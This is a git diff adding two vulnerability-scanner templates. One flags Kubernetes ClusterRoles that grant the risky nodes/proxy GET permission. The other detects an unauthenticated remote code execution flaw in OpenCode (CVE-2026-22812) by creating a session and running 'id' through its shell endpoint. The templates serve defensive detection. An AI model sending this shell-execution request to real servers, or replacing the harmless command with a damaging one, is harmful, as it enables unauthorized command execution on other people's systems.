diff --git a/cloud/kubernetes/rbac/k8s-clusterrole-nodes-proxy-rce.yaml b/cloud/kubernetes/rbac/k8s-clusterrole-nodes-proxy-rce.yaml new file mode 100644 index 00000000000..b072bfb959f --- /dev/null +++ b/cloud/kubernetes/rbac/k8s-clusterrole-nodes-proxy-rce.yaml @@ -0,0 +1,69 @@ +id: k8s-clusterrole-nodes-proxy-rce + +info: + name: ClusterRoles with Risky nodes/proxy GET Permission + author: princechaddha + severity: high + description: | + Detects Kubernetes ClusterRoles that grant GET permission on nodes/proxy resource. + Due to an authorization inconsistency in Kubelet, the nodes/proxy GET permission allows + execution of commands in any container via WebSocket connections to the Kubelet API. + The Kubelet authorizes based on the initial HTTP GET method of WebSocket handshake + rather than the actual operation (exec/run/attach) which should require CREATE permission. + impact: | + Service accounts with nodes/proxy GET permission can potentially execute commands in any + container if they have network access to the Kubelet API (port 10250). This bypasses + expected RBAC controls and audit logging. + remediation: | + Remove nodes/proxy GET permissions from ClusterRoles unless absolutely necessary. + Restrict network access to Kubelet port 10250 and implement network policies. + reference: + - https://grahamhelton.com/blog/nodes-proxy-rce + tags: cloud,devops,kubernetes,devsecops,rbac,k8s,k8s-cluster-security + +flow: | + code(1); + for (let role of template.items) { + set("role", role) + javascript(1); + } + +self-contained: true +code: + - engine: + - sh + - bash + source: kubectl get clusterrole --output=json + extractors: + - type: json + name: items + internal: true + json: + - '.items[]' + +javascript: + - code: | + let role = JSON.parse(template.role); + let riskyRules = 0; + if (role.rules) { + role.rules.forEach(rule => { + let apiGroups = rule.apiGroups || []; + let resources = rule.resources || []; + let verbs = rule.verbs || []; + let isCoreApiGroup = apiGroups.includes("") || apiGroups.includes("*"); + let hasNodesProxy = resources.includes("nodes/proxy") || resources.includes("*"); + let hasGetVerb = verbs.includes("get") || verbs.includes("*"); + if (isCoreApiGroup && hasNodesProxy && hasGetVerb) { + riskyRules++; + } + }); + } + if (riskyRules > 0) { + let result = (`ClusterRole '${role.metadata.name}' has ${riskyRules} rule(s) granting 'nodes/proxy' GET permission in core API group, allowing potential RCE via Kubelet.`); + Export(result); + } + + extractors: + - type: dsl + dsl: + - response diff --git a/http/cves/2026/CVE-2026-22812.yaml b/http/cves/2026/CVE-2026-22812.yaml new file mode 100644 index 00000000000..b79f3ff6274 --- /dev/null +++ b/http/cves/2026/CVE-2026-22812.yaml @@ -0,0 +1,74 @@ +id: CVE-2026-22812 + +info: + name: OpenCode < 1.0.216 - Unauthenticated Remote Code Execution + author: princechaddha + severity: high + description: | + OpenCode versions prior to 1.0.216 contain an unauthenticated remote code execution vulnerability. The application exposes session and shell execution endpoints without proper authentication, allowing remote attackers to create sessions and execute arbitrary shell commands on the underlying server. + impact: | + Unauthenticated attackers can execute arbitrary commands on the server, potentially leading to full system compromise. + remediation: | + Upgrade OpenCode to version 1.0.216 or later. + reference: + - https://github.com/rohmatariow/CVE-2026-22812-exploit + - https://nvd.nist.gov/vuln/detail/CVE-2026-22812 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2026-22812 + cwe-id: CWE-306 + metadata: + verified: true + max-request: 2 + vendor: opencode + product: opencode + shodan-query: http.html:"opencode" + tags: cve,cve2026,opencode,rce,unauth + +flow: http(1) && http(2) + +http: + - raw: + - | + POST /session HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {} + + extractors: + - type: json + name: session_id + json: + - '.id' + internal: true + + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains(content_type, "application/json")' + - 'contains(body, "id")' + condition: and + internal: true + + - raw: + - | + POST /session/{{session_id}}/shell HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"agent":"build","command":"id"} + + matchers: + - type: dsl + dsl: + - 'status_code == 200 || status_code == 201 || status_code == 202' + - 'regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\)", body)' + condition: and + + extractors: + - type: regex + regex: + - 'uid=\d+\([^)]+\) gid=\d+\([^)]+\)'